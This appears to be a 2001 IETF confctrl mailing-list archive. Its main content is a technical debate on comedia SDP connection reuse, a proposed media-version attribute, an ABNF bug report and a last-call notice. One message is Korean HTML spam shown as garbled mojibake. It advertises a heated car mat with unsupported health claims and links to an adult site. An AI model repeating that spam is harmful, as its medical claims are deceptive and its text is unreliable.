> once a connection has been accepted, I need the option to 
> stop listening
> for new connections, unless there is an exchange of new SDP. And if
> there is an exchange of new SDP, I still need to distinguish the case
> where there is no intent to change this particular media session from
> the case where that is exactly the intent. To achieve that, 
> there needs
> to be something in the SDP that permits me to distinguish the 
> two cases.
> 

How is this solved in RTP/UDP?  The above can be said for traditional
RTP-based media, could it not?  To paraphrase the above: "after having
handed out some SDP containing a UDP port number, I must be prepared to
accept media on the specified port for some period of time...  And if
there is an exchange of new SDP, I still need to distinguish the case
where there is no intent to change this particular media session from
the case where that is exactly the intent."  

This is similar to the "how long do I reserve this DSP for a codec"
problem, yes?  The only difference is that you are also holding a
listener open.  The lifetimes match exactly, at least in the scenario
you describe.

> 
> The reason this is important is because there is no reliable way to
> share the same listening port among multiple SDP media 
> descriptions and
> correlate a given connection established to that port with a 
> particular

Why is this true for TCP and not UDP?

> one of those descriptions. As a result, I am forced to establish a new
> listening port, and listener, for each media description. This is an
> expensive price to pay, and gets more expensive the longer you have to
> keep it.
> 
> So the bottom line is that I don't agree with simply removing
> a=direction:reuse without replacing it with something else. I have two
> alternatived proposals for what could replace it:
> 
> 1) change the definition of o= in SDP so that it may appear 
> in both the
> Session description and in Media descriptions. As with other 
> lines that
> can appear in both places, an o= in the session description 
> would serve
> as a default for media descriptions that have none of their own. Then,
> use changes in the o= to indicate changes in a particular media
> description. Checking the o= line for a media description 
> would then be
> a way to determine if that has changed between two copies of the SDP.
> For comedia, if the media description has changed, then the connection
> establishment must be done again, but if it is unchanged, then any
> existing media session would continue to be used.
> 
> 2) add a new a= line to serve the same purpose as (1). For instance,
>       a=mediaversion:NNN
> Require this line with comedia. Require the value NNN to 
> increase every
> time the media description is modified. If NNN increases in a comedia
> media description, then do connection establishment again. If NNN is
> unchanged, continue to use an existing media session.
> 
> I believe (1) to be the cleaner solution. But it requires changes to
> SDP. If that is unacceptable, then (2) gets the job done. It is
> essentially just a different syntax for (1).
> 

I certainly agree that mediaversion:NNN is not a clean solution.  And
I'm still having trouble understanding why you need to tag media streams
with an additional descriptor for TCP but not UDP.  And I'm also having
trouble understanding why this isn't just FID reinvented, but I'll admit
that I'm not intimately familiar with FID.  :-)

From confctrl-owner  Thu Dec 13 07:43:33 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id HAA14733
	for confctrl-outgoing; Thu, 13 Dec 2001 07:43:33 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA14728
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 07:43:31 -0800 (PST)
Received: from usw-sf-netmisc.sourceforge.net (usw-sf-sshgate.sourceforge.net [216.136.171.253])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBDFiIg20752
	for <confctrl@isi.edu>; Thu, 13 Dec 2001 07:44:18 -0800 (PST)
Received: from usw-sf-web2-b.sourceforge.net ([10.3.1.6] helo=usw-sf-web2.sourceforge.net)
	by usw-sf-netmisc.sourceforge.net with esmtp (Exim 3.22 #1 (Debian))
	id 16EY1w-0006iP-00; Thu, 13 Dec 2001 07:44:16 -0800
Received: from nobody by usw-sf-web2.sourceforge.net with local (Exim 3.22 #1 (Debian))
	id 16EY1w-00035C-00; Thu, 13 Dec 2001 07:44:16 -0800
To: noreply@sourceforge.net
From: noreply@sourceforge.net
Subject: [ rtspspec-Bugs-477425 ] Inconsistency between timeformats
Message-Id: <E16EY1w-00035C-00@usw-sf-web2.sourceforge.net>
Date: Thu, 13 Dec 2001 07:44:16 -0800
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Bugs item #477425, was opened at 2001-11-01 23:48
You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477425&group_id=23194

Category: None
Group: Fix for Draft Standard
Status: Open
Resolution: None
Priority: 5
Submitted By: Magnus Westerlund (magwes)
Assigned to: Nobody/Anonymous (nobody)
Summary: Inconsistency between timeformats

Initial Comment:
NPT time in range is allowed to be specifed as "-nptime". No other timeformat allows that, why?

----------------------------------------------------------------------

>Comment By: Rob Lanphier (robla)
Date: 2001-12-13 07:44

Message:
Logged In: YES 
user_id=3796

It's clear we need to extend this to other time formats, and probably clarify the semantics of this particular 
syntax.  As to "why?", it was probably just an oversight; we focused on npt for most of our work.


----------------------------------------------------------------------

You can respond by visiting: 
http://sourceforge.net/tracker/?func=detail&atid=377744&aid=477425&group_id=23194

From confctrl-owner  Thu Dec 13 07:56:18 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA15213
	for confctrl-outgoing; Thu, 13 Dec 2001 07:56:18 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA15208
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 07:56:17 -0800 (PST)
Received: from rtp-msg-core-1.cisco.com (rtp-msg-core-1.cisco.com [161.44.11.97])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBDFv3g24883
	for <confctrl@ISI.EDU>; Thu, 13 Dec 2001 07:57:03 -0800 (PST)
Received: from cannon.cisco.com (localhost [127.0.0.1])
	by rtp-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fBDFv3608915;
	Thu, 13 Dec 2001 10:57:03 -0500 (EST)
Received: from cisco.com (dhcp-161-44-241-140.cisco.com [161.44.241.140])
	by cannon.cisco.com (Mirapoint)
	with ESMTP id AAG24439 (AUTH pkyzivat);
	Thu, 13 Dec 2001 10:58:18 -0500 (EST)
Message-ID: <3C18CEE6.D6C4646E@cisco.com>
Date: Thu, 13 Dec 2001 10:53:10 -0500
From: Paul Kyzivat <pkyzivat@cisco.com>
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: David Yon <Yon@Dialout.net>
CC: "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: Action items from MMUSIC meeting for comedia-01
References: <DCFB33B6D8BCC54B8219D8B90645866E13BDFF@dnimail.Dialout.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

More responses inline.

	Paul

David Yon wrote:
> 
> Inline
> 
> > >
> > > 3. There was one vote to eliminate "direction:reuse", with the
> > > implicit assumption that endpoints are free to send new
> > media streams
> > > over a connection that has already been established.  Any dissent?
> > > Paul Kyzivat had provided the original motivation for its inclusion.
> > > Paul: do you have any issues there?  If not, I will remove
> > > direction:reuse and replace with wording that describes the
> > > aforementioned assumption.
> >
> > I don't know what "endpoints are free to send new media streams over a
> > connection that has already been established" means. With comedia, the
> > purpose of the sdp is to define how and when to establish a
> > connection.
> > As far as I know, once that connection is established, it can be used
> > for at most one media stream in each direction. (That may not quite be
> > true for SCTP, but that has its own ID.)
> >
> 
> My implicit assumption is that a connection can carry the exact same
> media that can be carried between two endpoints using UDP.  So for
> example, it is my understanding (correct me if I'm wrong) that RTP can
> carry two different types of streams (i.e., G.729 audio, H.261 video) to
> the same UDP port without the endpoint getting confused.  In theory, the
> same should be possible in an RTP-over-TCP scenario.

I don't disagree with what you say, but I don't understand what it has
to do with "endpoints are free to send new media streams over a
connection that has already been established". As far as I know, a media
stream is whatever is specified by an m= line. It could involve packets
encoded according to a variety of codecs as long as they were all
specified on the m= line. However that would exclude combining audio and
video because they cannot be specified on a single m= line.

The only way that I can imagine interpretting "endpoints are free to
send new media streams over a connection that has already been
established" is that a new media stream, specified by a new exchange of
SDP, can reuse a connection established previously by some other
exchange of SDP.

But I don't know how to make that work in practice. Does that mean that
once I have published some SDP using the comedia TCP transport, that I
must be prepared to accept an arbitrary number of connections to that
port and then merge the data received over all of them?

> 
> > The fundamental issue is that after having handed out some SDP
> > containing a comedia based media description, I must be prepared to
> > accept a connection on the specified port for some period of time. But
> > it is important to be able to bound that period of time. For instance,
> > once a connection has been accepted, I need the option to
> > stop listening
> > for new connections, unless there is an exchange of new SDP. And if
> > there is an exchange of new SDP, I still need to distinguish the case
> > where there is no intent to change this particular media session from
> > the case where that is exactly the intent. To achieve that,
> > there needs
> > to be something in the SDP that permits me to distinguish the
> > two cases.
> >
> 
> How is this solved in RTP/UDP?  The above can be said for traditional
> RTP-based media, could it not? 

No it can't. With UDP there are no connections. I just have a single
socket over which I receive packets. If there is a reinvite where the
same port is passed, it doesn't matter whether the recipient believes
this is new or old - they just send packets to the port. I don't see any
difference whether they are sending according to the old or new sdp.

> To paraphrase the above: "after having
> handed out some SDP containing a UDP port number, I must be prepared to
> accept media on the specified port for some period of time...  And if
> there is an exchange of new SDP, I still need to distinguish the case
> where there is no intent to change this particular media session from
> the case where that is exactly the intent."
> 
> This is similar to the "how long do I reserve this DSP for a codec"
> problem, yes?  The only difference is that you are also holding a
> listener open.  The lifetimes match exactly, at least in the scenario
> you describe.

No. In the udp case, I have to keep one receiver active receiving
packets on a port I have published. That is all.

In the comedia tcp case, I have to keep a listener active listening for
new connections on the port. Then for each connection, I have to keep a
receiver active receiving packets. So in thread based implementation,
instead of one thread for receiving, I need a minimum of two - possibly
more if I receive multiple connections. This will make using comedia
*significantly* more expensive than using UDP, over and above the
inherent extra cost of a TCP connection.

This may be exactly the right thing to do if you are publishing the SDP
to a crowd using SAP, or are multicasting it to a crowd using SIP. But
in the normal sip invitation model it really makes life difficult. What
I believe ought to happen is that at most one connection should be
established at a time per new media session direction. Once this session
is established, there should be no obligation to listen for other
connections. A request for a new connection establishment should require
an exchange of new (i.e. changed) SDP. If this is done, then there is
only a need to wait for one thing - initially for a connection, and once
a connection is established then one stops waiting for new connections
and starts waiting for packets arriving over the connection.

> 
> >
> > The reason this is important is because there is no reliable way to
> > share the same listening port among multiple SDP media
> > descriptions and
> > correlate a given connection established to that port with a
> > particular
> 
> Why is this true for TCP and not UDP?

I explained this above.

> 
> > one of those descriptions. As a result, I am forced to establish a new
> > listening port, and listener, for each media description. This is an
> > expensive price to pay, and gets more expensive the longer you have to
> > keep it.
> >
> > So the bottom line is that I don't agree with simply removing
> > a=direction:reuse without replacing it with something else. I have two
> > alternatived proposals for what could replace it:
> >
> > 1) change the definition of o= in SDP so that it may appear
> > in both the
> > Session description and in Media descriptions. As with other
> > lines that
> > can appear in both places, an o= in the session description
> > would serve
> > as a default for media descriptions that have none of their own. Then,
> > use changes in the o= to indicate changes in a particular media
> > description. Checking the o= line for a media description
> > would then be
> > a way to determine if that has changed between two copies of the SDP.
> > For comedia, if the media description has changed, then the connection
> > establishment must be done again, but if it is unchanged, then any
> > existing media session would continue to be used.
> >
> > 2) add a new a= line to serve the same purpose as (1). For instance,
> >       a=mediaversion:NNN
> > Require this line with comedia. Require the value NNN to
> > increase every
> > time the media description is modified. If NNN increases in a comedia
> > media description, then do connection establishment again. If NNN is
> > unchanged, continue to use an existing media session.
> >
> > I believe (1) to be the cleaner solution. But it requires changes to
> > SDP. If that is unacceptable, then (2) gets the job done. It is
> > essentially just a different syntax for (1).
> >
> 
> I certainly agree that mediaversion:NNN is not a clean solution.  And
> I'm still having trouble understanding why you need to tag media streams
> with an additional descriptor for TCP but not UDP.  And I'm also having
> trouble understanding why this isn't just FID reinvented, but I'll admit
> that I'm not intimately familiar with FID.  :-)

In principle it might be useful to tag udp media streams as well as
comedia streams. It is just that the need isn't as compelling. 

If the receiver is required to accept new connections at any time then
tagging of media streams isn't useful. But if the connection
establishment process only is to occur under certain circumstances, then
the tagging is required to indicate when that is. This is something that
doesn't occur for UDP and so the tagging isn't required there.

One way to determine when to do connection establishment is when a new
SDP media description is sent or received. But the definition of "new"
needs to be clarified. A media description is clearly new if:
- it is contained in the first SDP in a new invite;
- this is a reinvite and a media description has been added where
  none was before;
- this is a reinvite and this is a replacement media description
  with a port number different from the prior one.

It is not so clear whether a new connection should be established in the
following cases:
- this is a reinvite and the media description is identical to that
  in the prior invitation
- this is a replacement media description in a reinvite, the media type,
  transport and port are unchanged, but something else is changed.

Under normal circumstances you certainly don't want to establish a new
connection if an identical media description is exchanged, because this
is what will happen in a reinvite intended to refresh a session timer or
to revise a different media description. But there needs to be some way
to indicate that you want to establish a new connection even though you
don't want to change anything else. 

Introducing versioning of the media description is one way to indicate
this. 

I suppose another way would be to say that you have to use two reinvites
to achieve that: one to drop the media session by setting the port
number to zero; then another to establish a new media session. (Or you
could do both in one reinvite by establishing your new session at a new
position within the SDP.)

In any case, there need to be rules for what is permitted in reinvites,
and what impact it has on connection establishment. For instance,
suppose I send a reinvite with a media description that is identical to
what was previously used, expecting that we will continue to use the
connection we have already established. But you return a corresponding
media description that is different. Do we always establish a new
connection, or does it depend on the changes you made? This is more
complex in the comedia case because each side's sdp can affect transport
in both directions.

	Paul

From confctrl-owner  Thu Dec 13 13:53:04 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id NAA28674
	for confctrl-outgoing; Thu, 13 Dec 2001 13:53:04 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA28669
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 13:53:03 -0800 (PST)
Received: from localhost ([61.255.222.182])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id fBDLrmg13025
	for <confctrl@isi.edu>; Thu, 13 Dec 2001 13:53:49 -0800 (PST)
Message-Id: <200112132153.fBDLrmg13025@tnt.isi.edu>
Reply-To: cjdthdrns@hotmail.com
From: Â÷¹æ¼®14<cjdthdrns@hotmail.com>
To: confctrl@ISI.EDU
Subject: [±¤°í]¿À´Ã°°ÀÌ Ãß¿î°Ü¿ï µû¶æÇÏ°Ô ....
Mime-Version: 1.0
Content-Type: text/html; charset="ks_c_5601-1987"
Date: Fri, 14 Dec 2001 06:52:40 +0900
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<html>
<head>
<title>°Ü¿ïö Â÷ ¾ÈÀÇ ÂòÁú¹æ !! Â÷·®¿ë °Ç°­ ¿Âµ¹ ½ÃÆ® !!</title>
<meta name="generator" content="Namo WebEditor v5.0">
</head>
<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red" background="http://211.233.63.217/~sex18/sambo/SNOW-1.gif">
<p align="center"><b>- ÀÌ ±¤°í¸ÞÀÏÀº ´õ ÀÌ»ó ¹ß¼ÛÇÏÁö ¾Ê½À´Ï´Ù
-</b></p>
<table align="center" border="7" cellpadding="0" cellspacing="0" width="559" bordercolor="blue">
<tr>
<td width="543" height="35" bgcolor="blue">
<table cellpadding="0" cellspacing="0">
<tr>
<td width="548" height="32">
<p align="center"><font size="4" color="white"><b>°Ü¿ïö
Â÷ ¾ÈÀÇ ÂòÁú¹æ !! Â÷·®¿ë °Ç°­ ¿Âµ¹ ½ÃÆ® !!</b></font></p>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="543" height="216">
<table align="center" cellpadding="0" cellspacing="0" background="http://211.233.63.217/~sex18/sambo/bg_rc3.gif">
<tr>
<td width="548" height="51">
<table align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="538" height="98">
<p align="center"><b><font color="blue">¾Æ¹«¸®
Ãß¿î °Ü¿ï¿¡µµ 1ºÐÈĸé ÈƱ⸦ ´À³¥ ¼ö ÀÖ½À´Ï´Ù<br></font><font color="red">½¡ÀÇ
È¿´É+¿Áµ¹+À½ÀÌ¿Â+Ư¼ö¹ß¿­+¿øÀû¿Ü¼±¹æÃâ</font><font color="blue"><br>Ç㸮ÅëÁõȯÀÚ,Àå½Ã°£¿îÀüÀÚ,<br>¿©¼ºÀÇ
»ý¸®ºÒ¼ø,³ÃÁõ,Ä¡Áú,ÇÇ·Îȸº¹¿¡ Ź¿ùÇÑ È¿°ú<br></font><font color="black">Àå½Ã°£
¿îÀüÇϽô ºÐ¿¡°Õ ÃÖ°íÀÇ ¼±¹°!!</font></b></p>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="548" height="78">
<p align="center"><a href="http://18sex.co.kr/way-cart2/ondol.html" target="_blank"><img src="http://211.233.63.217/~sex18/sambo/mat1.jpg" width="500" height="335" border="0"></a><br><a href="http://18sex.co.kr/way-cart2/ondol.html" target="_blank"><img src="http://211.233.63.217/~sex18/sambo/mat2.jpg" width="500" height="335" border="0"></a></p>
</td>
</tr>
<tr>
<td width="548" height="62">
<table align="center" cellpadding="4" cellspacing="0" width="528">
<tr>
<td width="263">
<table align="center" cellpadding="0" cellspacing="0">
<tr>
<td width="253">
<p align="center"><font size="2" color="red">½ÃÁß°¡°Ý90.000</font></p>
</td>
</tr>
<tr>
<td width="253">
<p align="center"><font size="4" color="blue"><b>ƯÆÇ°¡°Ý
59.000¿ø</b></font></p>
</td>
</tr>
</table>
</td>
<td width="249">
<table align="center" cellpadding="0" cellspacing="0" width="178" bgcolor="blue">
<tr>
<td width="178" height="31">
<p align="center"><a href="http://18sex.co.kr/way-cart2/ondol.html" target="_blank"><b><font color="white">¿Âµ¹½ÃÆ®
±¸¸ÅÇϱâ</font></b></a></p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="548" height="212">
<table align="center" cellpadding="0" cellspacing="0" width="541" bordercolordark="white" bordercolorlight="black">
<tr>
<td width="531">
<table align="center" cellpadding="3" cellspacing="0" width="526">
<tr>
<td width="520">
<p><font size="2">1.½¡ÀÇÈ¿´ÉÀ¸·Î
´ÙÇâÀÇ À½ÀÌ¿ÂÀÌ ¹ß»ýÇÏ¿© Á¹Àº¿îÀüÀ»
¸»¾ÆÁÖ¸ç Â÷¾ÈÀÇ °øÀ̸¦ Ç×»ó
ÄèÀûÇÏ°Ô À¯Áö½ÃÄÑ ÁÝ´Ï´Ù.</font></p>
</td>
</tr>
<tr>
<td width="520">
<p><font size="2">2.Ç㸮ÅëÁõȯÀÚ,
½ºÆ®·¹½º, °ú·Î¿¡ ½Ã´Þ¸®´Â Àå½Ã°£
¿îÀüÀÚ¿¡°Ô ´õ¿í ÁÁ½À´Ï´Ù.</font></p>
</td>
</tr>
<tr>
<td width="520">
<p><font size="2">3,½¡°ú ¿Áµ¹ÀÇ
Á¶È­·Î ¿øÀû¿Ü¼±ÀÇ ¹æÃâ</font><font size="2" color="red">(¹æ»çÀ²91.4%)</font><font size="2">·Î
ÇÇÇÏ </font><font size="2" color="red">40mm</font><font size="2">±îÁö
ħÅäµÊÀ¸·Î ÇÇ·Îȸº¹, ½ºÆ®·¹½º
°¨¼ÒÀÇ È¿°ú°¡ ÀÖ½À´Ï´Ù.</font><font size="2" color="red">(ƯÈ÷
¿©¼ººÐµéÀÇ »ý¸®ºÒ¼ø, ³ÃÁõ, Ä¡Áú¿¡
Ź¿ùÇÑ È¿°ú°¡ ÀÖ½À´Ï´Ù)</font></p>
</td>
</tr>
<tr>
<td width="520">
<p><font size="2">4.¿©¸§¿¡µµ
¶¡°ú ³¿»õÀÇ Èí¼öÈ¿À²ÀÌ ÁÁ¾Æ
ÄèÀûÇÏ°í ½Ã¿øÇÑ ½ÃÆ®·Î »ç¿ëÇϽǼö
ÀÖ½À´Ï´Ù.</font></p>
</td>
</tr>
<tr>
<td width="520">
<p><font size="2">5.¿­Àüµµ°¡
»¡¶ó 1ºÐÈĸé ÈƱ⸦ ´À³¥ ¼ö
ÀÖÀ¸¸ç È÷ÅÍ »ç¿ë½Ã ¹ß»ýÇÏ´Â
</font><font size="2" color="red">À¯ÇØ°¡½º·ÎºÎÅÍ
Çعæ</font><font size="2">µË´Ï´Ù.</font></p>
</td>
</tr>
</table>
</td>
</tr>
</table>
<table align="center" cellpadding="3" cellspacing="0" width="527">
<tr>
<td width="517" height="33">
<table align="center" cellpadding="0" cellspacing="0" width="472" background="http://211.233.63.217/~sex18/sambo/1.jpg">
<tr>
<td width="472" height="60">
<p align="center"><font size="2" color="white"><b>÷´Ü±â¼ú·Î
Àü¼±À» »ç¿ëÇÏÁö ¾Ê´Â Ư¼ö¹ß¿­Ã¼¸¦
»ç¿ëÇÏ¿©,<br>ÀüÀÚÆÄ°¡ 3mm/GÀÌÇÏ(±¹Á¦Çã¿ë±âÁØ3mm/G)·Î
<br>ÀÎü¿¡ ÇØ°¡ ¾øÀ¸¸ç ÂòÁúÈ¿°ú°¡
Ź¿ùÇÏ°í °Ç°­¿¡ ÁÁ½À´Ï´Ù.</b></font></p>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="517" height="33">
<table align="center" cellpadding="3" cellspacing="0" width="280">
<tr>
<td width="134">
<p align="center"><font size="2">½Ç¿ë½Ç¾Èµî·Ï¹øÈ£</font></p>
</td>
<td width="146">
<p align="center"><font size="2">Á¦0243285È£</font></p>
</td>
</tr>
<tr>
<td width="134">
<p align="center"><font size="2">¹ß¸í
ƯÇã¹øÈ£</font></p>
</td>
<td width="146">
<p align="center"><font size="2">10-1999-00258041</font></p>
</td>
</tr>
<tr>
<td width="134" height="11">
<p align="center"><font size="2">ƯÇã
Ãâ¿ø¹øÈ£</font></p>
</td>
<td width="146" height="11">
<p align="center"><font size="2">Á¦48378È£</font></p>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="517" height="45">
<p align="center"><font size="2">ÁÖ) »ïº¸
¤Ó»ç¾÷ÀÚµî·Ï¹øÈ£ 504-09-57352 ¤Ó&nbsp;Åë½ÅÆǸÅ
Çã°¡¹øÈ£ Á¦523È£<br>¹«·áÀüÈ­ 080-700-8999
¤Ó&nbsp;<a href="mailto:dkdldnjs@i1.co.kr">E-mail</a></font></p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<p align="center"><b><font color="black">- ÀÌ ±¤°í¸ÞÀÏÀº ´õ ÀÌ»ó ¹ß¼ÛÇÏÁö ¾Ê½À´Ï´Ù</font><font color="red">
-</font></b></p>
<p align="center">&nbsp;</p>
<p align="center">&nbsp;</p>
<p align="center">&nbsp;</p>
</body>
</html>

From confctrl-owner  Thu Dec 13 18:55:11 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id SAA09788
	for confctrl-outgoing; Thu, 13 Dec 2001 18:55:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA09783
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 18:55:08 -0800 (PST)
Received: from purple.nge.isi.edu (216-203-131-12.bellhead.com [12.131.203.216])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBE2tsg00043
	for <confctrl@ISI.EDU>; Thu, 13 Dec 2001 18:55:54 -0800 (PST)
Received: from purple.nge.isi.edu (csp@localhost)
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBE2ttv03418;
	Thu, 13 Dec 2001 21:55:56 -0500
Message-Id: <200112140255.fBE2ttv03418@purple.nge.isi.edu>
To: "David Yon" <Yon@Dialout.net>
cc: "Paul Kyzivat" <pkyzivat@cisco.com>, "confctrl@isi.edu" <confctrl@ISI.EDU>
Subject: Re: Action items from MMUSIC meeting for comedia-01 
In-Reply-To: Your message of "Thu, 13 Dec 2001 08:03:52 EST."
             <DCFB33B6D8BCC54B8219D8B90645866E13BDFF@dnimail.Dialout.net> 
Date: Thu, 13 Dec 2001 21:55:54 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> "David Yon" writes:
>> > 3. There was one vote to eliminate "direction:reuse", with the
>> > implicit assumption that endpoints are free to send new 
>> media streams
>> > over a connection that has already been established.  Any dissent?
>> > Paul Kyzivat had provided the original motivation for its inclusion.
>> > Paul: do you have any issues there?  If not, I will remove
>> > direction:reuse and replace with wording that describes the
>> > aforementioned assumption.
>> 
>> I don't know what "endpoints are free to send new media streams over a
>> connection that has already been established" means. With comedia, the
>> purpose of the sdp is to define how and when to establish a 
>> connection.
>> As far as I know, once that connection is established, it can be used
>> for at most one media stream in each direction. (That may not quite be
>> true for SCTP, but that has its own ID.)
>
>My implicit assumption is that a connection can carry the exact same
>media that can be carried between two endpoints using UDP.  So for
>example, it is my understanding (correct me if I'm wrong) that RTP can
>carry two different types of streams (i.e., G.729 audio, H.261 video) to
>the same UDP port without the endpoint getting confused.  In theory, the
>same should be possible in an RTP-over-TCP scenario.

That's not really correct. RTP should not be used to transport different
media on the same port, since those will be different sessions. It can
send different media which form part of the same session (e.g. voice +
DTMF codecs).

Colin

From confctrl-owner  Thu Dec 13 19:27:43 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id TAA10911
	for confctrl-outgoing; Thu, 13 Dec 2001 19:27:43 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA10906
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 19:27:42 -0800 (PST)
Received: from purple.nge.isi.edu (216-203-131-12.bellhead.com [12.131.203.216])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBE3SSg07587
	for <confctrl@ISI.EDU>; Thu, 13 Dec 2001 19:28:29 -0800 (PST)
Received: from purple.nge.isi.edu (csp@localhost)
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBE3SPo03716;
	Thu, 13 Dec 2001 22:28:30 -0500
Message-Id: <200112140328.fBE3SPo03716@purple.nge.isi.edu>
To: Jari.Selin@nokia.com
cc: confctrl@ISI.EDU
Subject: Re: draft-ietf-mmusic-sdp-new-04.txt 
In-Reply-To: Your message of "Wed, 12 Dec 2001 05:13:08 +0200."
             <009CA59D1752DD448E07F8EB2F9117578F0F9E@esebe004.NOE.Nokia.com> 
Date: Thu, 13 Dec 2001 22:28:25 -0500
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks, I'll clarify in the next version...
Colin


--> Jari.Selin@nokia.com writes:
>Hello,
>
>I think there is a bug in the ABNF. s= is defined mandatory, but in the ABNF
>is defined optional:
>
>The ``s='' field is the session name.  There MUST be one and only one
>``s='' field per session description, and it SHOULD contain ISO 10646
>characters (but see also the `charset' attribute below). If a session
>has no meaningful name, the value ``s=-'' SHOULD be used.
>
> session-name-field =  ["s=" text CRLF]
>
>And another thing needs clarification:
>
>"it SHOULD contain ISO 10646 characters" 
>
>Does this mean that it should contain characters (ie it should not be empty)
>or does it mean that the characters it contains should be ISO 10646. It's
>not a problem here though because of the next sentence but I think it should
>be clarified.
>
>	Jari
>
>-
>Jari.Selin@nokia.com +358 50 48 37563
>Nokia Research Center / COM

From confctrl-owner  Thu Dec 13 20:06:47 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id UAA12279
	for confctrl-outgoing; Thu, 13 Dec 2001 20:06:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA12274
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 20:06:45 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBE47Vg17025
	for <confctrl@isi.edu>; Thu, 13 Dec 2001 20:07:31 -0800 (PST)
Received: from tzi.uni-bremen.de (root@localhost [127.0.0.1])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id fBE47R502880;
	Fri, 14 Dec 2001 05:07:27 +0100 (MET)
Message-ID: <3C197B12.F29C2F28@tzi.uni-bremen.de>
Date: Fri, 14 Dec 2001 05:07:47 +0100
From: Joerg Ott <jo@tzi.uni-bremen.de>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mmusic@informatik.uni-bremen.de, confctrl@ISI.EDU, mmusic@ietf.org
Subject: WG Last Call: draft-ietf-mmusic-sdp4nat-00.txt
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

we'd like to issue Working Group Last Call on

    draft-ietf-mmusic-sdp4nat-00.txt

for Informational RFC.

The WGLC is to expire on 31 December 2001.

Please direct any comments to the MMUSIC mailing
list (mmusic@ietf.org) and to the authors.

Colin and Joerg

From confctrl-owner  Thu Dec 13 20:11:44 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA12549
	for confctrl-outgoing; Thu, 13 Dec 2001 20:11:44 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA12544
	for <confctrl@zephyr.isi.edu>; Thu, 13 Dec 2001 20:11:43 -0800 (PST)
Received: from purple.nge.isi.edu (216-203-131-12.bellhead.com [12.131.203.216])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id fBE4CTg18462
	for <confctrl@isi.edu>; Thu, 13 Dec 2001 20:12:30 -0800 (PST)
Received: from purple.nge.isi.edu (csp@localhost)
	by purple.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fBE4CZF04233;
	Thu, 13 Dec 2001 23:12:35 -0500
Resent-Message-Id: <200112140412.fBE4CZF04233@purple.nge.isi.edu>
Delivery-Date: Tue Dec 11 10:45:12 2001
